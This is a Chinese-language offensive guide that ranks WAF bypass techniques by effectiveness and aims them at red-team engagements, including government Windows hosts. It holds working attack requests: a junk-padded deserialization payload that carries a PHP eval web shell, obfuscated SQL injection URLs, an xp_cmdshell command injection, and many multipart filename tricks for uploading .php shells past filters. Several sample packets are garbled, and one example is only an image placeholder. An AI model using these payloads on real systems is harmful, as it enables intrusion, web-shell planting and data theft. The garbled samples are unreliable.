本文系统梳理了 2024-2025 年间主流 WAF 绕过技术的实践有效性,通过实测数据与场景化分析,将技术术划分为 “仍有效”「部分有效」与「已过时」三个层级。
WAF Bypass 技术清单
◾仍有效 (≥40% 成功率,2025 仍活跃)。优先使用的技术。
| 技术类别 | 代表手法 | 典型失效场景 | 快速验证思路(无害) | 实战测试建议 |
|---|---|---|---|---|
| 脏数据填充 | 前置 8-32 KB 垃圾字符 | 本地硬件 WAF 默认只检前 8K | 前置 10000×A + payload,看是否绕过 |
HW 红队首选 |
| JSON/XML 重组 | 数组→对象、CDATA 包裹 | 语义检测未覆盖全部格式 | 同样 SQL 注入改 JSON 路径表达式 | API 网关场景 |
| GraphQL 别名 alias | {alias:users(filter:{id:1})} |
规则针对 REST,未覆盖 GraphQL 语法 | 把 /users?id=1 union 改 GraphQL 别名 |
新版业务系统 |
| 空白字符变异 | %0b %0c %a0 替代空格 |
正则只写 \x20 |
%0bunion%a0select 对比拦截 |
快速 Fuzz |
| 协议覆盖 | Content-Type: text/plain + JSON |
规则按头匹配,未解析 body | 同样 JSON 改 text/plain,看是否 200 | 云函数/Serverless |
| 文件名换行 | filename="a.php\n.jpg" |
PHP 解析到换行停止,WAF 未归一化 | Burp 插入 0x0a,看是否成功上传 | 上传点必测 |
| 双扩展名+NTFS 短名 | shell.pHp::$INDEX_ALLOCATION |
仅 Windows+低配安全狗 | 实测生成文件夹后写马 | 专打政务 Windows |
| 条件竞争 2.0 | 上传 .htaccess → 改解析 |
先上传配置,再上传图片马 | 两步间隔 <50 ms | 红队后渗透 |
| WAF 自身功能滥用 | 重复合法请求后插 payload | WAF 缓存跳过检测、脱敏误判 payload、白名单仅校验请求头。 | 比较多次合法请求与恶意请求的差别 | 优先测云 WAF 缓存 |
◾部分有效 (场景依赖,5-40% 成功率)。实在没办法了不妨一试。
| 技术类别 | 代表手法 | 典型失效场景 | 快速验证思路(无害) | 实战测试建议 |
|---|---|---|---|---|
| 多层编码 | 双重 URL/Unicode/UTF-7 | 仅当 WAF 仅做一层解码 | %2520union 与 %20union 对比 |
优先测试自建 WAF |
| 注释关键字 | /*!union*/ /*!50000union*/ |
MySQL 环境+老旧规则集 | 对比 union 与注释版本响应差异 |
内网 MySQL 场景优先 |
| 分块传输 | Transfer-Encoding: chunked |
云 WAF 已支持,但部分本地化 WAF 默认关闭 | 用 Chunked 插件发相同 payload,看是否 403 | 政企局域网/金融专网 |
| Content-Type 混淆 | multipart 伪装 JSON |
规则不全的本地化 WAF | 同样 JSON 改 multipart,对比拦截状态 | 测试边界设备 |
| HTTP 参数污染(HPP) | ?id=1&id=select 后端取后者 |
多语言混写(Java→PHP) | Java 前端转发到 PHP,看是否解析差异 | 混构系统优先 |
| 请求方式切换 | POST→GET/PUT/OPTIONS | 默认规则仅覆盖 POST | 同样 payload 换方法,看是否 200 | 快速列目录场景 |
| 文件上传变异 | 换行/大小写/引号混用 | 正则编写不严的 WAF | filename="a.php" vs filename=a.PHP |
优先 Java 上传点 |
| 语义层绕过 | or 1=1→or 'a'='a'、substr()→mid() |
WAF 仅拦截固定关键字,未解析语义逻辑 | 构造同义 payload 进行测试,观察结果 | 针对注入/命令执行 |
◾已过时 (≤5% 成功率)。基本上可以放弃的技术。
| 技术类别 | 代表手法 | 典型失效场景 | 快速验证思路(无害) | 实战测试建议 |
|---|---|---|---|---|
| 大小写混淆 | UnIoN SeLeCt |
所有云 WAF、Nginx+ModSecurity 默认归一化 | 直接发包,看是否仍被 403 | 无需投入时间 |
| 双写/嵌套 | anandd scriscriptpt |
正则回溯+语义分析双重拦截 | 构造 anandd 与 and 对比响应 |
放弃 |
| 复参数污染 | ?id=1&id=union&id=select |
云 WAF 参数合并后再检测 | 用 Burp 重复参数,看参数值是否被合并 | 放弃 |
| 高并发绕过 | 多节点并发 | 边缘节点共享内存/全局会话 | 50 线程并发,观察是否仍统一拦截 | 放弃 |
| NTFS ADS | file.php::$DATA |
非 Windows 主机;IIS 10 已拦截 | Windows 靶机上传,看是否解析成 PHP | 仅遗留内网可用 |
| HTTP Pipeline 畸形包 | 双 POST 不换行 | Nginx/Envoy 直接返回 400 | 用 nc 发畸形包,看是否断连 |
放弃 |
| 双文件上传 | 第一文件 jpg,第二文件 php | 后端循环检测所有文件 | 上传双文件,看是否两个都被扫描 | 放弃 |
| 条件竞争 | 上传→访问→删除 | 先扫描后落盘、inotify 实时删 | 上传 1.php 生成 shell,毫秒级访问 | 放弃 |
Bypass 这一块儿,讲究一个看人下菜碟。对于一些看起来就很古早的页面,已过时的技术也可能有奇效。
推荐的技术清单
脏数据绕过
⭐⭐⭐ 脏数据,永远滴神 ⭐⭐⭐
脏数据绕过,即传入一段长数据使 WAF 失效,从而实现绕过。某些 WAF 处理 POST 的数据时,只会检测开头的 8K,8K 之后的数据会被全部放过。
例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被 WAF 拦截了。利用脏数据插入 5000 个 A 字符,可以成功绕过:
POST /vuln/deserialize HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 5140
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
O:4:"User":2:{s:8:"username";s:5:"admin";s:6:"passwd";s:20:"<?php @eval($_POST['cmd']);?>";}
Content-Length: 5140。5000 个 A + 140 字节反序列化 payload(实际可按需调整)。脏数据与 Payload 之间可以换行也可以直接拼接,视情况而定。例如,部分 Payload 本身依赖特定格式(如 JSON、XML 需语法正确),换行可能导致解析失败,此时必须连续拼接;仅当 Payload 是独立可解析片段(如 SQL 注入、命令执行语句),且测试发现换行能绕过更严格的规则时,可尝试换行。
脏数据绕过原理简单,却极其好用。在防守时,见到特征明显的脏数据绕过时需要当心。
空白字符变异
用一些特殊字符代替空格。比如在 MySQL 中 %0a 是换行,可以代替空格,这个方法也可以部分绕过最新版本的 WAF,在 MS-SQL 中可以用 /**/ 代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:MySQL (%0a/**/)、MS-SQL (/**/)
/*|%23--%23|*/
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
协议覆盖
原理:HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。
将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。
POST /sQlinJect php Http/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0
Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8
Accept-Language: en-US, en: q=0.5
Referer:http://127.0.0.1/sqlinject.php?id
Content-Type: multipart/form-data; boundary=69
Content-Length: 60
Connection close
Upgrade-Insecure-Requests:1
--69
Content-Disposition: form-data; name="id"
1
--69--
文件名换行
在文件后缀名处换行:
POST /test Http/1.0
Content-Disposition: form-data; name="uploadfile"; filename==="111.p
hp"
WAF 自身功能滥用
可以利用 WAF 预处理缺陷 (字符剔除/大小写陷阱),把 * 替换为空。例:
uni*on+sel*ect+1,2,3,4....
假如发现WAF会把"*“替换为空,那么就可以利用这一特性来进行绕过:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法:
-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
部分有效的技术清单
多层编码
对请求数据进行编码,例如 url 编码,Unicode 编码等,如果 WAF 对数据不能有效的解码,而应用后端能够正常解码,就可以绕过 WAF。
举个例子,最常见的 url 编码,对数据进行二次 url 编码,WAF 进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。
http://www.test.com/test.asp?id=1%2520union%2520select%25201,2,3
# ↓ // WAF(一次解码%25->%)
http://www/test/com/test.asp?id=1%20union%20select%201,2,3
# ↓ // WEB服务器(二次解码%20->空格)
id=1 union select 1,2,3
例如:将 id=1 and 1=1 写为 id=1/*!and*/1=1
特殊字符拼接(+)
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接。如:
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
分块传输
先在数据包中添加Transfer-Encoding: chunked
数字代表下一列字符所占位数,最后需要用 0 独占一行表示结束,结尾需要两个回车
在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,POST 请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用 0 独占一行表示结束。
注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。
例如:
POST /test Http/1.0
Connection: close
Upgrade-Insecure-Requests: I
ontent-Type: application/x-www-form-urlencoded
Content-Length: 50
1697963521_6534de013e75ef0f99bda.png!small?1697963522589
Content-Type 混淆
利用数据格式的解析缺陷,表单数据可通过两种不同的请求类型提交:
application/x-www-form-urlencodedmultipart/form-data,该类型同样支持键值对(Key-Value)的数据传输方式。
POST /index.php HTTP/2
Host: 127.0.0.1
Sec-Ch-Ua: "Google Chrome"; v="105", "Not)A;Brand"; v="8", "Chromium"; v="105"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
path=/root&filename=123.txt
可以修改提交格式:
POST /index.php HTTP/2
Host: 127.0.0.1
Sec-Ch-Ua: "Google Chrome"; v="105", "Not)A;Brand"; v="8", "Chromium"; v="105"
Dnt: 1
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4YE7UK09ayrKkLRF
Content-Length: 242
------WebKitFormBoundary4YE7UK09ayrKkLRF
Content-Disposition: form-data; name="path"
/root
------WebKitFormBoundary4YE7UK09ayrKkLRF
Content-Disposition: form-data; name="filename"
123.txt
------WebKitFormBoundary4YE7UK09ayrKkLRF--
这两种方式提交数据的效果是一样的。
当然,除了这种方式外一些其他方式也可能绕过 WAF,例如将传入 json 数据,将其修改为 HTTP 请求,或者修改 Content-type 等方式(当然是在应用能够正常解析的前提下)
HTTP 参数污染(HPP)
HTTP参数污染漏洞(HTTP Parameter Pollution)简称HPP,由于HTTP协议允许同名参数的存在,同时,后台处理机制对同名参数的处理方式不当,造成“参数污染”。攻击者可以利用此漏洞对网站业务造成攻击,甚至结合其他漏洞,获取服务器数据或获取服务器最高权限。
在php语言中id=1&id=2后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些waf的拦截。
hpp参数污染还可以用于绕过某些防火墙对于sql注入的检测,例如当web服务器对多参数都同时选择时,我们可用一下这种方式绕过某些防火墙,比如对某页面的SQL注入攻击如下:
show_user.aspx?id=5;select+1,2,3+from+users+where+id=1--
这个攻击因为在参数id里面存在明显的SQL注入的模板:select…from…而会被WAF成功拦截。但是如果换成HPP的方式:
show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1--
这时候没有任何参数具备 select...from... 的特征,可能就可以绕过 WAF 的拦截了。
举例说明。比如有这样一个网站,用来统计注册用户的性别,这个网站的URL和代码是这样的( (1)、(2) 为页面里面用于统计的链接实现的方式):
URL: http://host:port/sex.jsp?id=1 ----------------------------------------------- Link1: <a href="vote.jsp?id=1&sex=nan">男性</a> Link2: <a href="vote.jsp?id=2&sex=nv">女性</a> ^^^^^^^^^^^^^ ID = Request.getParameter("id") (1) href_link = "sex.jsp?id=" + ID + "&sex=nan" (2)
如果这时候恶意攻击者生成了如下的一个URL发给用户:
http://host:port/sex.jsp?id=1%26sex%3Dnan
那么最终在页面的内容会是:
URL: http://host:port/sex.jsp?id=1%26sex%3Dnan ---------------------------------------------------- Link1: <a href="sex.jsp?id=1&sex=nan&sex=nan">男</a> Link2: <a href="sex.jsp?id=1&sex=nan&sex=nv">女</a>
请求方式转换
部分 WAF 会针对不同请求方法设置差异化检测规则:默认对 POST 请求强制校验数据包内容,对 GET 等请求则可能放宽限制,甚至部分场景下 WAF 处于关闭状态。
利用这一特性,若 POST 请求因含特定字符被拦截,可抓包将请求方法改为 GET,大概率绕过检测。若 GET、POST 均被拦截,还可尝试 OPTIONS、HEAD 等 WAF 检测规则更宽松的请求方法。这种绕过思路的核心,是利用 WAF 对不同请求方法的检测策略差异,切换请求方式规避危险字符匹配。
文件上传变异
◾等号绕过
在filename后多添加两个等号:
POST /test Http/1.0
Content-Disposition: form-data; name="uploadfile"; filename==="111.php"
◾利用WAF的缺陷
- 在恶意代码前加垃圾数据;
- 在数据包前加垃圾数据;
- 在Content-Disposition参数后面加垃圾数据;
- 多加一个filename;
- 更改HTTP请求方法;
- 删除实体里面的Conten-Type字段;第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着php。
- 删除Content-Disposition字段里的空格
- 增加一个空格
- 修改Content-Disposition字段值的大小写
- 文件名后缀处回车
- 多个Content-Disposition
◾特性
1.多个filename
早期版本安全狗,可以多加一个filename
- Content-Disposition: form-data; name=“file_x”; filename=“test.txt”; filename=“test.php”
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
2.交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面格式会导致Bypass。
- Content-Disposition: form-data; filename=“xx.php”; name=file_x
下面是变体。去掉引号,双引号变成单引号:
- Content-Disposition: form-data; name=file_x; filename=“xx.php”
- Content-Disposition: form-data; name=file_x; filename=xx.php
- Content-Disposition: form-data; name=“file_x”; filename=xx.php
- Content-Disposition: form-data; name=‘file_x’; filename=‘xx.php’
单引号、双引号、不要引号,都能上传。
3.大小写
对这三个固定的字符串进行大小写转换
- Content-Disposition
- name
- filename
还可以再在:、;、=添加1个或者多个空格。
4.去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
- Content-Disposition: name=‘file_x’; filename=‘xx.php’
5.多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
- ——WebKitFormBoundaryj1oRYFW91eaj8Ex2
- Content-Disposition: form-data; name=“file_x”; filename=“test.txt”
- Content-Type: text/javascript
- ——WebKitFormBoundaryj1oRYFW91eaj8Ex2
- Content-Disposition: form-data; name=“file_x”; filename=“test.php”
- Content-Type: text/javascript
6.多个分号
文件解析时,可能解析不到文件名,导致绕过。
- Content-Disposition: form-data; name=“file_x”;;; filename=“test.php”
Header在boundary前添加任意字符
PHP支持,JAVA报错
- Content-Type: multipart/form-data; bypassboundary=—-WebKitFormBoundaryj1oRYFW91eaj8Ex2
7.filename换行
PHP支持,Java不支持
- Content-Disposition: form-data; name=“file_x”; file
- name=“test.php”
8.name和filename添加任意字符串
PHP支持,Java不支持
- Content-Disposition: name=“file_x”; bypass waf upload; filename=“test.php”;
语义层绕过
等价函数/操作符替换,使用其他变量或者命令对注入语句进行替换。以 SQL 注入为例:
COMMAND | WHAT TO USE INSTEAD
version()| @@version
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
基本不用浪费时间的技术清单
大小写/双写绕过
大小写绕过:将 and 写为 anD,同理还有 script 写为 sCriPt
双写绕过:将 and 双写为 anandd,同理还有 script 写为 scriscriptpt
复参数绕过(&id=)
例如一个请求:
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为:
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。
高并发绕过
对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了 WAF 的拦截:
NTFS ADS 特性绕过
ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 WAF 对请求正文的 filename 匹配不当的话可能会导致绕过。
| 上传的文件名 | 服务器表面现象 | 生成的文件内容 |
|---|---|---|
| Test.php:a.jpg | 生成Testphp | 空 |
| Test.php::$DATA | 生成testphp | |
| Test.php::$INDEX_ALLOCATION | 生成Testphp文件夹 | |
| Test.php::$DATA\0.jpg | 生成0.jpg | |
| Test.php::$DATA\aaa.jpg | 生成aaa.jpg |
HTTP Pipeline 畸形包
HTTP 协议是由 TCP 协议封装而来,当浏览器发起一个 HTTP 请求时,浏览器先和服务器建立起连接 TCP 连接,然后发送 HTTP 数据包(即用 Burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 TCP 连接或是断开。当发送的内容太大,超过一个 HTTP 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 HTTP 请求所建立的 TCP 连接不断开,直到所发送内容结束 Connection 为 close 为止。
(1) 先关闭 Burpsuite 长度更新,为 GET 请求,先使用 Burpsuite 的 Method 转换为 POST 请求
(2) GET 请求中空格使用 %20 代替,Connection 改为 keep-alive
点击 Burpsuite 中 Repeater,在下拉选项中取消 update Content-Length 选中。例如:
POST /sqlinject.php Http/1.0
Host:127001
User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
Firefox/65.0
Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
Accept-Language: en-US,en:q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection:keep-alive
Upgrade-Insecure-Requests: 1
id=1post/sqlinjeCt.php Http/1.0
Host:127.00.1
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
Firefox/65.0
Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
Accept-Language: en-US, en, q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
pgrade-Insecure-Requests: 1
d=l and 1=1
然后你会收到两个返回包,不过这种方法有可能被 WAF 给拦截
双文件上传
